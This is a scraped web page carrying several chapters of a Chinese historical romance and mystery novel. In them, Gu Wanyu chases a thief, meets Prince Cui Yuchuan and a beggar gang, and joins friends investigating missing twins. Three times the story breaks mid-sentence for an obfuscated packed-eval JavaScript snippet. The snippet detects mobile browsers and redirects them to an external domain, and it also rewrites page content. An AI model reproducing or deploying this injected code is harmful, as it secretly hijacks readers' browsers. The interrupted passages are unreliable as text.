越往?骊街夜市走,越能见到佩戴面具,穿着华丽的年轻男女们,三三两两地说笑着,赴一场盛会。 ?骊街便是双生子与其父失散的地方,这里一年四季繁华不休,明面上有公私荣干及百姓士庶来往,而私底下有三教九流及江湖人士出没,正是上京城中格外繁忙的一片区域。 顾婉妤扣上面具,融入人群。 她走走停停,不时与小摊小贩搭话交谈。这儿的店家及摊贩里有一些是她熟识的,她便能直言打听。至于那些不认识的,她就仗着自己天生一副招人喜爱的样子,与人套了近乎再巧妙地询问。 天色渐暗,灯火亮起来了。璀璨华光映照了沉沉的江水,也映亮了江边人的明眸。 顾婉妤坐在江边的小亭子里,手中拿着面具把玩。看似在悠闲地凭栏望水,实际上心中已生出了许多挫败感。 打听了许久,真是疲惫。 正如这边的人们所说的,此处每日都有如此多的人来来往往,怎会特别去注意路过的小孩子呢。 再说刘家报官后,官府也早已把这街上的商户盘问了一遍,她再来问,不出意料同样是一无所获。 或许还是再等等其他人那边的消息吧,像个无头苍蝇一般漫无目的地乱转,并不能收获什么新的线索。 顾婉妤望着河边放花灯的人们,脑中放空发呆。 “姐姐、姐姐……” 清脆的呼唤声拉回了顾婉妤的注意力,她转头看,就见一个拎着花篮的秀气小姑娘,正红着脸努力把装满了应季花朵且芳香四溢的花篮捧到她眼前。 “姐姐,要买一束花吗?” 这么可爱的小姑娘!顾婉妤扬起笑脸,软声问:“你是谁家的小娘子呀,生得好可爱。” 小姑娘慌乱地晃晃脑袋,又害羞地瞧她。 顾婉妤的心肝都被可爱到发颤了,她立马说了声“买”,右手摸索着想要拿出腰间的布袋,却突然摸了个空。 心中一惊,顾婉妤立马低头查看,发现自己腰间藏着的钱袋真的没有了。 难道是这稍微松懈了一会儿精神的工夫,就被人偷走了?!可她才坐下没有多久啊。 这可不行!丢钱事小,但那里面还有崔煜川赠的玉佩…… 王爷随身戴的玉佩,怎么着也得是价值连城吧!顾婉妤急了,捏着拳头腾地一下站起身,环顾四周。 现在亭中只有她和卖花姑娘两人,但刚才,她走进来坐下时,亭中分明还有一个人的。 亭子外面的街市上人来人往,顾婉妤来回扫视,就见到一个矮小瘦弱,让她感到有些眼熟的身影,正往人群中挤了去。 定睛一看,这不就是刚才亭中的另一个人吗!顾婉妤扣上面具,提一口气便追出去,怒喝:“别跑!” 这矮小的背影听到顾婉妤的喊声僵直一瞬,顿时就拐往小巷,跑得更快了。 “可恶!”顾婉妤咬牙。 小巷黑暗,她抄起一盏街边店家放在店门口的黄纸灯,在后面紧追不舍。 说来也巧,顾婉妤虽外表看上去是文弱女子,但还真能使出些轻功的本事,这是她娘亲从小教的。于是这狡猾又灵活的小贼,在巷道复杂的路线中风一般穿行而过,回头一看,竟还未能甩掉后面的女子。 跑动之中,黄纸灯的火苗熄灭了。小毛贼趁机往更黑更深的缝里钻,连哪户院落是空的,哪处墙上有洞,他都知道得一清二楚。 眼见着就要把人跟丢了。顾婉妤匆忙之中抬起头,天上月儿正明,万里无云。 鸱鸮能抓住野鼠,是因为其足够敏捷,从空中俯冲下来便使猎物猝不及防。 顾婉妤脑中突然浮现鸱鸮捕猎的画面,于是她似有所感,微微停下脚步,再加速冲向墙壁。 许久不曾练习,幸好还未生疏,她借力几步就攀上了巷子里低矮的院墙。 骊街房屋结构错落起伏,大大小小商户、棚摊众多,是一片巨大而繁忙的商业区。这种复杂的建筑走势正给了顾婉妤发挥的空间。 她沿着院墙弯曲起伏一路追踪,像灵活的燕子轻巧掠过,站在屋顶居高临下。 虽然离小贼更远了,但反而能将对方他时隐时现的身影尽收眼底。 站在房顶上,看到的风景截然不同,僻静黑暗的巷道另一边,是灯火通明、鱼龙共舞的繁华长街。 此时正是骊街一晚上最热闹的时刻,百姓们成群结队欢笑着出游,戴各式各样的面具,千奇百态。沿河也已经排队放起了花灯,星星点点的暖光顺水波缓缓飘动。 一静一动,一冷一暖的对比使顾婉妤的眼睛总不自觉地往街上瞟,许是爱热闹爱玩耍的天性使然罢了。 但当务之急还是追回玉佩。 这小毛贼好狡猾,可能是在赌顾婉妤何时会失去耐心放弃追赶他。而顾婉妤也始终找不到机会把他一举拿下。 两人僵持了许久,就在顾婉妤几乎以为要让对方跑掉了的时候,她的视线边缘突然出现了一个熟悉的身影。 这几乎是不可能发生的事情,却真实地发生在她眼前。 她守株待兔地在北御街揽月楼对面的草丛里蹲守了很多次,这个身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840138|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 披黑色缎面长袍,从头到脚包裹得严严实实,只有腰迹隐隐发光的金丝暗纹悄悄地展示着身份和尊贵的身影。 是她绝不可能看错的。 所以崔煜川怎么会来凑这种民间的热闹,在花朝节的夜晚一个人出现在骊街川流不止的人群里呢! 顾婉妤的注意力被别处吸引过去时,小毛贼立马抓住机会往远处跑去。 这下,顾婉妤可顾不得其他了,她从头上捏下一支雕花木簪,使力向崔煜川掷去。 对于崔煜川来说,这几乎是天降横祸,还以为有人要刺杀自己。随着破风声振动空气,多年习武与警戒培养出的灵敏神经使他如条件反射般抓住了这个颇女子气的暗器。 崔煜川锐利杀气的双眼向上一抬,却看见黑乎乎的屋顶上,有一个人正在活泼地向他挥手打招呼。 ? 崔煜川低头,再抬头,确信自己没眼花,而那人的胳膊舞得更欢了,似是很着急的样子。 崔煜川环顾四周,决定过去一探究竟。他贴着墙根走进僻静处,一跃而上,利索地翻上了这座屋顶。 “阿洋,太巧了!” 崔煜川一上屋顶,就见到一个面具半扣在头上,露出下半张尖尖小脸的顾婉妤迎过来。她迫不及待地将崔煜川拉了过去,指着暗夜里的小巷急声说道:“有个人偷了我的钱袋,里面还有你的玉佩!我一个人追不上,我们形成合围包抄他!” 崔煜川在发现此人是顾婉妤后已然头脑发昏,一阵无语,他早说这姑娘有点问题。 别的小少女都是给自己抛花、抛果子,她倒好,抛来尖尖的木簪,要是打到别人要害处可是真的会死人的! “别发愣呀!”顾婉妤一拍他的肩膀,又似想起什么般惊恐地收回手,“快快快,帮我追。” 崔煜川深深看她一眼,脑中一万道疑问飘过,比如是怎么认出我的,比如怎么上的房顶。但还不等他说话,顾婉妤已经先行一步跑走了。 她还真会轻功啊…… 崔煜川看着顾婉妤匆匆的背影无奈极了,只好跟上。 顾婉妤在前面瞧见崔煜川跟上来了,不由得大喜,果然小王爷是好人啊,要帮她追贼了! 于是顾婉妤毫不客气地打了两个手势,要崔煜川快点绕到前面去抓贼。 这手势是顾婉妤随便比划的,崔煜川倒也看懂了。两人是有些莫名其妙的默契的,一前一后,当真把那毛贼逼进了角落的空院落。 狗急跳墙,瘦小的小贼急了却是发出“咕呼咕呼”的声音,像极了犬声低吠一般。 顾婉妤和崔煜川没多想,跟着跳进了院子里。 小院黑漆漆的,有股难闻的、油乎乎的“人味儿”。 向缩进墙角的小贼那里靠近了几步,顾婉妤突然一惊。 几息之间,小院竟突然被包围了。 四周各处影影绰绰地冒出了模糊的人影,一双双野兽般的眼眸在黑暗中发出亮光。 顾婉妤感到崔煜川马上用身体将她挡在内侧了。 手里还拎着那盏熄灭的纸灯,顾婉妤从袖袋中掏出火折子,用力一吹,点燃了灯烛。 在暖光色纸灯的昏暗的光线里,两人看清了,此处竟是站满一院子乞丐打扮的人。 但这些人分明是有武功的,身体精瘦却不虚弱。 “丐帮?!”顾婉妤脱口而出。 5. 春山如笑(5) 此话一出口,四下里传来喋喋不休的抱怨声。 “什么丐帮!小姑娘家家讲话真难听!” “就是,别把我们和丐帮混为一谈!” 顾婉妤实际也并不清楚这些人是做什么的,她从崔煜川背后探出脑袋:“各位好汉,盗亦有道,既然今日我及时发觉自己财物被偷,你们便应当归还于我,否则不就成了明抢吗!” “哼哼,也不看看这是谁的地盘。” 被屋檐挡住的稀薄月光中,一个穿着同样破破烂烂,放浪地披散着头发的男人推开其他人走出来。 “在我们的地盘上还胆敢撒野?小心着点你们的小命!” 顾婉妤一看这人披着头发,像个疯子的模样,怎么令她好生熟悉。 这里有我认识的人?甚至还是个叫花子? 顾婉妤心里犯嘀咕,她举起纸灯眯着眼睛仔细看,方才恍然大悟:“哎!我记得你,你还经常去我娘摊子上讨饭吃呢,我娘也不嫌弃从不赶你走,怎么背地里做偷盗抢劫这档子坏事,还偷到我头上来!” 这下,不仅是崔煜川,包围了小院的其他乞丐们也都一齐震惊了。 “顾婉妤,你连叫花子都认得?” “什么?!你是汤饼娘子她闺女?!” 崔煜川的疑问声淹没在其他人的声音里。 “怎么了,你们都认识我娘啊?”顾婉妤瞪大眼睛,“好家伙,你们这么多人,可不能都来我家摊子上讨饭,要把我家吃垮的。” 顾婉妤说完,不知哪里戳中了笑点,她的话竟引得这些脏兮兮的乞丐们捧腹大笑起来。 为首的男子擦擦笑出来的眼泪,挥了挥手,其他人就迅速地离开了。这群叫花子仿佛凭空消失一般,简直要比皇城禁军还训练有素。 连那个被顾婉妤追了一路,气喘吁吁地瘫倒在角落里的小孩,都立马起身利索地跳出了院子。 “呵呵。”这披头散发的“疯子”把钱袋扔回给顾婉妤,“既然是恩人的孩子,就破例一次,拿走吧。” 顾婉妤接过袋子打开一看,里面的铜钱和玉佩一个不落,都好好地装着呢。 崔煜川把脑袋凑过来瞧,不满地问:“你就把我的玉佩和这些脏兮兮的铜板放在一起啊?” “给我就是我的了。”顾婉妤连忙扎紧钱袋,怕崔煜川一个不爽把玉佩要回去。 “不抢你的。” 崔煜川斜觑她,满脸都写着“真当我如此小气吗”的意思。 见二人清点无误,男子便准备功成身退。 顾婉妤好奇心最盛,再加上随时发掘小报素材的职业病,哪能这样简单放过这个神秘的群体,见他要走,她连忙喊:“等等,可以问一下吗,你们是做什么的?为何聚在此处?” “看不出来吗?”男子停下了脚步,回身笑嘻嘻地逗她,“要饭的。” 顾婉妤和崔煜川对视一眼,两人面上皆是不信,顾婉妤回道:“哪有要饭的像你们一样组织精练,还个个都有武艺傍身?所以我以为你们是传说中的‘丐帮’呢。” “而且,”顾婉妤转念一想,“你们所有人都认识我娘,这也很蹊跷。据我所知我娘年轻时还闯荡过江湖,你们不会是我娘在江湖上的旧识吧?” “哈哈哈,闯江湖,她是这么跟你说的呀。”男子朗声笑,又用手把额前散落的乱发捋到脑后,仔细上下打量了顾婉妤,“你长得确实和你娘年轻时挺像的,她算是我们半个大师姐吧。” 顾婉妤脑中浮现出她娘穿得破破烂烂,领着一帮小乞丐的样子,不由一阵恶寒:“什么?别骗我,你们是什么门派的?” 崔煜川脑中浮现的却是顾婉妤身上涂得黑乎乎脏兮兮,领着一帮乞丐在街上蹦蹦跳跳、偷鸡摸狗的样子。 总之,这太诡异了。 男子摆摆手,搪塞道:“既然你娘要瞒着你,我可不敢随便开口,自己回去问她吧。”说罢,抬脚就往外走。 “等等!壮士留步!”顾婉妤急匆匆上前几步,不依不饶地再次喊住人。 “真是难缠的小丫头片子!还有什么事?”男子已经失去耐心,“赶紧的!” “不知您如何称呼,前辈,想必您们在骊街走街串巷,十分清楚此处的情况,我们有一件重要的事情想要请教。” 顾婉妤口条极溜,特别是嘴甜又灵巧,这一会儿功夫为了询问刘家双生子的线索,连前辈都喊上了。 不过正巧,男子还真是受用这一套,他抱拳向上一抬,正是江湖人士行礼的动作:“就叫疯子吧,你们这群上京人不都如此喊我吗。” 原来他都听见汤饼摊上其他人的窃窃私语了。顾婉妤汗颜,又正色起来:“疯子前辈。” 她便把刘家失踪双生子的事情讲了一讲。 “我是不清楚还有这种事,不过可以帮你打听一下。”疯子淡淡道,看起来也并不为刘家的痛苦遭遇感同身受,让顾婉妤和崔煜川十分怀疑他是否真的打算帮忙,“好了,从现在开始!不许再问任何问题!” 顾婉妤噎了一下,只好看着疯子前辈离开了。 真可惜!还想问问能不能专门在小报上给他们做一篇文章呢!题目就叫《骊街深处·探秘上京本土丐帮》。 以她的经验来看,定又能成一篇大爆的文章。 “走吧。”崔煜川一看顾婉妤脸上的遗憾,就知道她心里在想什么,“他们行踪诡秘,又做偷鸡摸狗之事,怎么可能让你写。” 两人并肩出了小院,在黑暗的巷道里秉着一盏纸灯往外走。 “真是佩服,只要和你待在一起就会遇上各种奇怪的事情。”寂静中,崔煜川突然开口。 这话单听上去有些阴阳怪气,但崔煜川是笑着以调侃的口吻说的,言语之中尽是玩味,让顾婉妤觉得他其实对这些突发情况也很感兴趣。 “也不是经常发生啦。”顾婉妤便也玩笑着说。 崔煜川没有回复,两人之间陷入一阵尴尬的寂静,只有石板路上传来的脚步声回响,却衬得此处愈发空寂。 “咳。”崔煜川不自在地轻咳一声,问,“你是不是知道了?” 顾婉妤能明白崔煜川在问什么,她也无法装傻下去,毕竟这本就是她心中的不安之处,便索性点头认了:“嗯,我知道了。” “怎么发现的?你分明认不出我的脸,却能认出阿洋的身影,也能……跟踪别人。” “嘿嘿。”顾婉妤轻笑两声,显得有点憨。 崔煜川不爽磨牙,把脸别到一边去。 身份暴露的是他,合该他现在如此尴尬,这人还傻呵呵地笑! “我说我知道阿洋就是煜王爷了,你可以把话讲明白,不用藏着掖着的。”顾婉妤笑完也有些莫名紧张起来,“我能在揽月楼蹲守你的来访,是因为你一直穿带有武家图腾的黑袍,今天的这件也一样。我每次都仔细地寻找有没有图腾,今天才能一眼瞧见,好像已经刻进眼睛里了。” 武家图腾是以巧妙的绣工缝成衣服上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840139|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗纹,非常低调,位置又藏在腰间,难得她还能次次瞧见。崔煜川耳朵发烧,又哼了一声。 其实他要是冷静点,就能发现顾婉妤早在上次见面已经发现他的真实身份,才能在今天一下子把阿洋的身影与煜王爷的身影对等起来。可惜小王爷现在只顾着偷偷害臊去了,压根没想起来。 缓慢言谈间,两人已经步出了僻静之处,重新回到人声鼎沸的大街。 顾婉妤的面具还半扣在头顶,因此在满大街的面具之中,她姣好的面容便吸引了许多年轻男子的视线。 崔煜川这才想起来今夜是花朝节,他手一伸,直接把顾婉妤的面具给她扣回到脸上了。 顾婉妤老实地瞅着他,倒没有抗议。 看来这会,活力满满的少女是终于累了、消停了。 本来只是出来散散心,凑凑民间的热闹,没想到还有今夜这一遭的经历,崔煜川踟蹰片刻,还是说道:“那我回去了,你也早些回家吧,不要在外面乱逛了。” 顾婉妤点头,又抬起手中的灯,“你看这个,我们把它放进水里再回家吧。” 此时骊街沿旁的狭窄河道中,已经满是点点烛光灯影,飘摇着在水面晃悠。顾婉妤顺手捡的灯,形状构造恰巧与河中用于许愿祈福的这些花灯近似。 春夜里潺潺的河水、摇曳的灯影,这一切所构成的画卷,确实非常动人。 两人便往河边去了。 路过卖灯的摊贩,崔煜川还借了一支毛笔。 “要写什么呢?”顾婉妤双手负在身后,踱着悠闲的步子好奇看他。 “就许愿能够救回刘家的女儿们,怎么样?” 顾婉妤满意地点头。 崔煜川一挥而就,在纸灯笼上洋洋洒洒地写下四个字——归兮来兮。 灯笼携带着两人的美好期许,被置于水波荡漾的河面,很快便顺水而下,汇入万千灯火的队列。 顾婉妤蹲在江边,望着他们的灯笼飘远。 崔煜川也一样静静地站在她的旁边。 分明身处热闹的环境中,但这悠悠的河却带着平静人心的气质,望着望着,心中的各种杂乱思绪便平息下来,令人冷静、安然。 “其实我一直很惊讶。”良久,顾婉妤开口道,“你虽然身份尊贵,却不摆架子,和我想象中的王公贵族一点儿也不一样。” 崔煜川盯着水面发呆,闻言,面露怅然之色:“再尊贵的人,也没有三头六臂,一日三餐不食便饿,生活中同样处处是烦恼。” 贵为王爷,仍有烦恼吗?顾婉妤不懂,也想象不出。她对此的想法倒是单纯:“若是我有如此高的地位,如此多的财富,恐怕天天都要快活得像神仙一样了。” 崔煜川没有说她想法幼稚,反而是轻轻地笑了,称赞道:“在我眼里,你才是那个快活似神仙的人。游走在这上京城里,和谁都能攀谈上两句。你的烦恼都是为别人的事烦恼,对自己却是没什么忧虑。” 怎么会呢?顾婉妤想开口反驳,却发现举不出例子。 的确,她所心系的人们,皆是有着切肤之痛,遇到了种种极为不公的待遇。而她本人那些小小的琐碎烦恼,相比之下就是不值一提,讲出口甚至还会使听者觉得如同炫耀,毕竟平顺安宁的生活琐事也不是谁都能拥有的。 那你呢?你面露愁容所为何事?顾婉妤想问,却无法开口。 随意打探,有违礼仪,也易伤人。 顾婉妤不愿意让崔煜川更不开心。 6. 春山如笑(6) 所以最终,顾婉妤也只是再强调了一次:“下次正午聚会,一定要来哦。” 崔煜川答应了她。 二人在水边互相道别后,崔煜川步行回到了煜王府。 煜王府坐落于上京皇城以东的厢坊内,靠近寿湖和滨山,风景秀美,安静,又与繁华的骊街相距不远。 在上京众多风水宝地、高门大户之中,此处相较起来仍能拔得头筹,惹来许多艳羡。 他的年纪在一干皇子公主之中算是最小的,因此当初立府已是新皇登基之后。那时崔煜川的外祖武家承受皇权争夺失败所带来的苦果,已然式微,连他自小优秀过人的亲哥哥崔晏桓都被一纸诏书发配到了边疆。但他仍然分得了如此优越的府邸。 新皇是这样说的——“这天下仍是崔家的天下”,以显示其仁德与大局观。 难道就像大臣们交口称赞的那样,他这个皇帝兄长是真的关心疼爱他吗? 事实上,他的外祖家及一众相关官宦世家,早就被新皇打压到再无翻身之力,家破人亡者不在少数。如今武家在上京城中有名有姓的人物,也不过只剩下他和他的母亲武娴。若说恩宠,崔煜川是绝不敢认的。 武家是权贵世家,文臣武将人才众多,尤以领兵作战为善,威名震慑许多虎视眈眈的外族,自前朝以来便兵权在握。 即使在今朝,皇帝也不敢对武家完全褫夺兵权。 因此,明眼人都看得出,武娴和崔煜川就是皇上养在上京城中的武家人质。 只要皇帝礼待煜王府上下人等,武家将士就仍得为大景江山卖命,崔晏桓就仍得继续镇守边疆苦寒之地,不断上阵拼杀。 对崔煜川本人而言,笼中鸟的生活也并不快乐。 他自小接受皇家正统教育,习文练武,都是“行皇室之权、论天下大事”,而他个人更是以成为“彪炳史册的大景英豪”为理想。 没想到一番改朝换代后,为了不引起新皇的警觉和猜忌,他只能做一个慵懒无为的富贵闲人。还得担惊受怕,若有朝一日大景出现了可以替代他哥崔晏桓的良将,会不会进一步被皇权卸磨杀驴。 这一切的一切,对于崔煜川来说尚且如此难以忍耐,更何况半生享尽富贵荣华,几乎没吃过半点苦头的武娴。 武娴出生于武家最为煊赫的一段时期,又身为嫡女,可谓贵气凌人,是上京城如云的美人中格外耀眼的一颗明珠。她嫁给先皇之后,顺利诞下两个健康聪慧的皇子,更是盛宠一时,光彩照人。 正因曾经的人生过得如此平顺,武娴接受不了武家的覆灭。她想了许多办法,也为此出过很多昏招,即使大哭大闹,也无法阻止改朝换代的车轮滚滚向前。 最终,随着崔煜川立府而一同搬出皇宫的武娴,像疯了一样,把满腔怨气撒在下人和孩子身上。 但崔煜川知道,母亲越是无理取闹,就越表明了她的内心充满不安忧虑。 就像小孩子一样,以这种方式博得关注、博得安慰,发泄脾气。 所以崔煜川会忍耐。有很多事他都是瞒着母亲偷偷去做的,比如每日练武,比如去揽月楼与暗探接头,比如在安静的夜里独自出门散心。 今天,他也是趁母亲回房休息之后才悄悄出的门。只是觉得压抑、冷清,便想出府到街市上走走,感受人间烟火气。 然而,当崔煜川走进煜王府,见到从大门到前厅一路上的灯烛都是亮起的,屋檐下还高挂了灯笼,便知今夜又不得消停了。 果然,走进前厅,便见满屋的家仆和丫鬟战战兢兢,既要低眉顺眼地侍奉左右,给足武娴排场和派头,又不敢发出声响,怕惹得武娴变本加厉地撒泼。 武娴坐在上首,脚边一杯摔碎的茶盏。 见崔煜川进来,她冷冷地看过来。 “去哪儿了?” 崔煜川笑笑,才说:“这么晚了,您还不休息吗?” 崔煜川很少当着武娴的面喊她“母亲”,因为武娴接受不了。以前在宫里,两个孩子是要管她喊“母妃”的。 百年荣华富贵梦,她做梦只做了一半便醒过来,她无法接受。 武娴也冷笑:“孩儿长大了,翅膀也硬了,这是看为娘碍眼,要赶为娘走了。” “孩儿不敢。”崔煜川敛眉,沉声说。 “我看你压根就没把为娘放在眼里!”武娴抄起另一盏茶,“啪嚓”一声砸在地上,滚烫的茶水淋在她自己手上,顿时红了一片,她也并不觉得痛。 “我和你说过多少次!”武娴崩溃地冲着崔煜川大喊,“不要再掺和他们京里的事,你为什么不听!” 崔煜川一听便知,武娴以为他今晚又去揽月楼见暗探了。这探子原本是崔晏桓的人脉,为了满足好奇又跃跃欲试的弟弟,崔晏桓便把这条埋在敌国政要间的暗线交给了崔煜川。 那会一家人的关系还很和睦,因此武娴是知道的,还夸奖过两兄弟,要崔煜川多加努力,向哥哥学习。 崔煜川现在倒是想得开,武娴再怎么发疯也还保持基本的理智,从来不在下人面前明着说出什么暗探、眼线之类的话语,这就够了。 至于挨骂,他挨便挨了。 “您小心手,不再摔东西了。”崔煜川挥退一干下人,独自站着挨骂。 “只会嘴上说着好听,从来不真心体恤为娘!”武娴瞪眼指责他,“为娘宁愿你什么都不会,什么都不管,像其他贵族子弟一样成日去玩,为娘反倒省心!可是你,一而再,再而三地违逆我。为什么要再行错事!你能承担后果吗!” 崔煜川沉默地受着武娴的指责,他向来从不顶嘴,但内心充满了自己的主意。 为君、为臣、为民,无论身份如何,崔煜川都不愿意碌碌无为地过一辈子。 “对了!昨日……还有昨日!说!你是不是还去兵营了?你真是……你真是……”武娴说着说着,捧住胸口,似乎承受了极大的痛苦,“非要为娘为你而死,你才高兴吗!” 昨日崔煜川确实去了一趟禁军马步兵营,因为他答应过顾婉妤他们,要找禁军统领帮忙戒严城门。 这也压根涉及不到擅用权力,因为年轻的指挥使是他的发小好友,他打了个招呼说自己府上有两件半人高的古董花瓶丢失,对方就拍着肩膀承诺一定帮他留意。 崔煜川总是想对武娴说,他做的这些事情,大都是为了江山社稷、国泰民安,或许,并不会招来皇帝的猜忌和雷霆手段。 但这话是万万不可讲的。武娴视皇帝为灭族仇人,在她面前绝不敢提。 “你到底听进去没有。” 武娴骂累了,见崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840140|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煜川还是一副油盐不进的样子,掀了桌子上的食盏杯碟便走了,只给他留下一个冷冰冰的背影。 汤汤水水顺着地面的纹路蔓延,崔煜川长吁一口气,捡起尚还完好的京瓷白杯,唤人进来打扫收拾。 崔煜川和顾婉妤,各自过着截然不同的日子,就这样一如往常地生活,时间便过了三日。 崔煜川的内心不可谓不纠结,这次若是在正午时分主动去了汤饼摊,就意味着他自愿加入顾婉妤他们。以王爷的身份来看,和他们一道“厮混”,多少显得有些不务正业。 要是让武娴知道了,肯定会觉得他自降身份丢了皇家的脸面,要发一通脾气。 这日,崔煜川一如既往早早起床,去了寿湖边跑步、练剑,再到滨山半山一处适宜眺远调息的大石头上打坐,修炼内力。 待到这套每日晨课般的练习做完,太阳也堪堪要升到头顶了。他回府梳洗完毕,一问时间,已到了该用午膳的时候。 “王爷,给您传膳吗?”府上干活的小厮手脚麻利,跑过来问。 “不了,我出去吃。” 崔煜川自欺欺人地想着,既然是用饭的时间,只是逛逛,也不一定要去那家汤饼摊。 但他慢悠悠地走着走着,就转去了御街南。 外面正是一派春日好风光,近日小风催得紧,御街沿路的杏树便掉了许多花瓣。汤饼摊摆在树下,连那些普通的桌椅都被盛开的杏花衬出了别样古朴的美丽。 崔煜川一眼便看见了顾婉妤一行四人,他们也立马发现了他。 “阿洋,你来晚啦。”顾婉妤站起来冲他挥手,纯真甜美的笑靥如花绽放。 “来了。”崔煜川落座。 汤饼娘子熬制的浓汤面果然很有一番风味。 依照每次聚会的流程,众人定是要先填饱肚子的。美食当前,无人能抗拒。 等到面碗清空,五脏六腑畅快安逸起来,便可谈正事了。 “大家各自都追查得怎么样了?”瑜瑾君率先笑问道。 “我买到一条消息。”流火君从袖笼中掏出一卷小纸条,展开,“你们知道吗,宛邦有一种愚昧的血腥祭祀,是以双生子为祭品的。” 众人面面相觑。宛邦?这个大景最大的敌人,盘踞于关塞以外的北方冻土大陆的国家,缘何会在此处出现? 瑜瑾君的面色严肃起来,他接过纸条阅读。 “宛邦药神祭:以双生幼儿骨血为引,魂魄为经,召九重天利乐大药神及修持圣医王降临忍土。” 流火君补充道:“我去黑市买消息时,问的是最近有没有人出钱买一对双生子。但他们做情报生意的都说,这种目标太过明显,容易被官府发现的,上京内外都少有人做。” “朝廷对人口贩卖的打击力度是很大的,一旦抓住即是死罪。”崔煜川点头肯定这种说法,“除非上面有过硬的关系可以作保,但总之以双生子为目标太过显眼,何况近来朝堂不稳,皇帝多疑,官员人人自危,我想谁也不愿在这节骨眼上出来当靶子吧。” “对,那些人大抵也是这样说的。”流火君皱眉,“然后与双生子有关的信息,就只有这一条,我虽然买下来并拿给你们看,其实内心也没有底。” “若真是宛邦人做的,此事就更不简单了。” 7. 春山如笑(7) 顾婉妤皱起柳眉,面露不忍:“天下怎会有这么残忍的事,要以活人做祭品。” “宛邦民风彪悍,对百姓又缺少教化,他们的习俗中有许多仍带有上古未开化般的野性兽性,是我们无法接受的,甚至骇人听闻。”阮竹君摸摸顾婉妤的脑袋。 “黑市的人还附赠了我一条消息,宛邦皇宫内的大总管自开春以来就患上了怪病,久治不愈。倒真能与这劳什子药神祭呼应起来。”流火君气呼呼地一拍桌子,“太可恶了,难道真的是他们?敢把主意打到我们大景头上来!” 崔煜川也是忿忿不平,这宛邦狼子野心,屡屡试探要侵夺大景土地,如今竟是变本加厉,胆敢伤害大景子民了。 “大家还查到什么线索吗?”顾婉妤问。 “寻人启事张贴了满城,没有人来揭榜告知线索的,真像是官府说的那样,如同两个孩子凭空消失了一般。”阮竹君摇头。 “城门那边也没听说有什么异常,只能麻烦他们继续留意。”崔煜川说道,“不过好在我将寻人启事上的画像拿给守城将士看过后,他们都说没见过长这样的小女孩出城。” “也称得上一个好消息。”瑜瑾君点头,“印坊这边已经将下期小报印制完毕,特意多印了很多数量。我已经和驿站说好,让他们帮忙寄往上京以外的其他地区派送售卖,寻人消息传得越广泛越好。” 每个人都以自己的力量尽了最大努力,顾婉妤捧脸听着,觉得大家真厉害啊。 她自己这边是一无所获,不由得有些汗颜。 “既然如此,今天就先这样吧。”瑜瑾君总结道,“接下来可以多打探宛邦药神祭的消息,以此入手继续追查。” 一行人纷纷点头,起身准备各自离开。 但就在这时,顾婉妤的母亲汤饼娘子走过来了。她穿着围裙,手里还举着汤勺,似乎是煮面煮到一半临时有事来找她们。 “邓阿娘,”瑜瑾君向汤饼娘子见礼,“有什么事情吗?” 汤饼娘子露出温和的笑容:“有人让我把这个给你们。” 她手掌扣在桌面上,再移开,一张皱皱巴巴的烂草纸出现在众人面前。 “这是什么呀,”顾婉妤凑上去埋头看,“一副画?” 枯黄色的草纸上,画着一副简笔小人画,顾婉妤努力辨认,看出这好像是两个小人,追着前方一只四脚着地的小动物。 “这是狗吗?”顾婉妤喃喃道,突然想到了什么,猛地抬起头,不远处的墙角阴影中有个矮矮的影子惊了一下,闪身退回墙后,不再窥探。 这不是花朝节那晚她追了一路的小毛贼吗?这个身影她记忆犹新。 “原来是他啊。”顾婉妤会心一笑,当时她请疯子前辈帮忙查一下刘家双生子的行踪,只得到一句略显敷衍的随口承诺。本以为对方不会在意,没想到还真帮忙查到了些什么,并及时命小贼给她送了过来。 崔煜川顺着顾婉妤的视线,也看见了那个小乞丐一般的家伙。他点点头,不由感叹:“仁义之举。” 顾婉妤将草纸递给阮竹君。 “那是你们认识的人,怎么偷偷摸摸的?”阮竹君疑惑接过这张脆弱又潦草的纸,仔细辨认。 绘画人的画技实在太差了,但仍可以通过分析确认出动物特征,这恰好又是阮竹君的专长。 “和小孩子的体型相比都如此渺小,说明是一只小体动物。耳朵直立且突出,四肢同时着地,毛色浅且无花纹,尾巴极细,应该就是狗了。这是在街上发生的场景,除非常见的猫狗,否则若是出现其他稀少的动物应该都会引起街上其他人的注意。”阮竹君有条有理地分析道,“而且这只狗的眼睛应该很大,这是唯一被绘画人在画面中强调的重点。” “眼睛很大的狗?”崔煜川自小在宫中见惯了各色玩意,他一下就想起来一种被贵族夫人们特别喜爱的犬只——奇奇犬。 